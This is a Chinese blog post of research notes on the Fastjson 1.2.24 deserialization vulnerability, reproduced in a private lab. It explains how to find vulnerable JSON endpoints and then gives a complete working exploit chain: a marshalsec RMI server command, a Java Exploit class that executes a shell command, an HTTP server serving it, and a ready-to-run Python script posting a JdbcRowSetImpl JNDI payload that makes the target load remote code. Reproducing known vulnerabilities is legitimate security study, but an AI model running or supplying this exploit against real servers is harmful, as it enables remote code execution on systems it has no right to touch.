fastjson调研

2年前 (2022) 程序员胖胖胖虎阿
197 0 0
  • 如何发现存在 Fastjson 漏洞的网站
    从 fastjson 漏洞形成的原因看,是目标网站在解析 json 时,未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,这就给了攻击者可乘之机,构造对应的 payload ,让系统执行,然后达到代码执行,甚至命令执行的目的。

    所以寻找存在 Fastjson 漏洞的方法,就是先找到参数中内容是 json 数据的接口,然后使用构造好的测试 payload 进行提交验证,检测原理跟 sql 注入差不多,首先找到参数提交的地方,然后再用 payload 尝试。

  • 漏洞复现

    • 在5.239环境下执行以下步骤
      搭建靶场
      fastjson调研
      启动rmi服务
      java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.5.235:8888/#Exploit" 9999
      fastjson调研
    • 在5.235环境下执行以下步骤
      将下列代码编译 javac Exploit.java

      import java.lang.Process;
      
      public class Exploit {
      
      public Exploit() {
      try{
          String[] commands = {"touch","/tmp/success"};
          Process pc = Runtime.getRuntime().exec(commands);
          pc.waitFor();
      } catch(Exception e){
          e.printStackTrace();
      }
      
      }
      
      public static void main(String[] argv) {
      Exploit e = new Exploit();
      }
      
      }
      

      在相同目录下启动http服务
      python3 -m http.server 8888

    • 在5.239环境下执行以下步骤
      执行 python3 fastjson-1.2.24_rce.py http://192.168.5.239:8090 rmi://192.168.5.239:9999/Exploit
    import sys
    import requests
    
    if len(sys.argv)!=3:
      print('+------------------------------------------------------------------------------------+')
      print('+ DES: by zhzyker as https://github.com/zhzyker/exphub                               +')
      print('+      RMIServer: rmi://ip:port/exp                                                  +')
      print('+      LDAPServer: ldap://ip:port/exp                                                +')
      print('+------------------------------------------------------------------------------------+')
      print('+ USE: python3 <filename> <target-ip> <RMI/LDAPServer>                               +')
      print('+ EXP: python3 fastjson-1.2.24_rce.py http://1.1.1.1:8080/ ldap://2.2.2.2:88/Object  +')
      print('+ VER: fastjson<=1.2.24                                                              +')
      print('+------------------------------------------------------------------------------------+')
      sys.exit()
    
    url = sys.argv[1]
    server = sys.argv[2]
    
    headers = {
     # 'Host': "127.0.0.1",
      'Content-Type': "application/json",
      'Accept-Encoding': "gzip, deflate",
      'Connection': "close",
      'Accept': "*/*",
      'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.100 Safari/537.36",
      #"Cookie":"remember-me=YWRtaW46MTY2MjAwMDczNDIyNjo5NTdmYmZlNmQ2YTNlMTA1NTllMjgzZjY1MmJiOGU0MA; XSRF-TOKEN=fb6c908f-ddcc-4cd8-9526-d967202d83e4; JSESSIONID=5911778D82FCA3EECBFDD82C4B393D1A"
      }
    
    payload = """
      {
          "b":{
              "@type":"com.sun.rowset.JdbcRowSetImpl",
              "dataSourceName":"%s",
              "autoCommit":true
          }
      }
      """ %server
    
    try:
      r = requests.post(url, payload, headers=headers, timeout=10)
      print ("[+] RMI/LDAP Send Success ")
    except Exception as e:
      print (f"[-] RMI/LDAP Send Failed {e}")
    

    执行完毕后可以看到容器内的/tmp目录下创建了success文件

https://cloud.tencent.com/dev... Fastjson探测简介 原理
https://blog.csdn.net/qq_5085... 检测工具
https://www.wangan.com/p/7fy7... 实战

版权声明:程序员胖胖胖虎阿 发表于 2022年10月13日 下午12:48。
转载请注明:fastjson调研 | 胖虎的工具箱-编程导航

相关文章

暂无评论

暂无评论...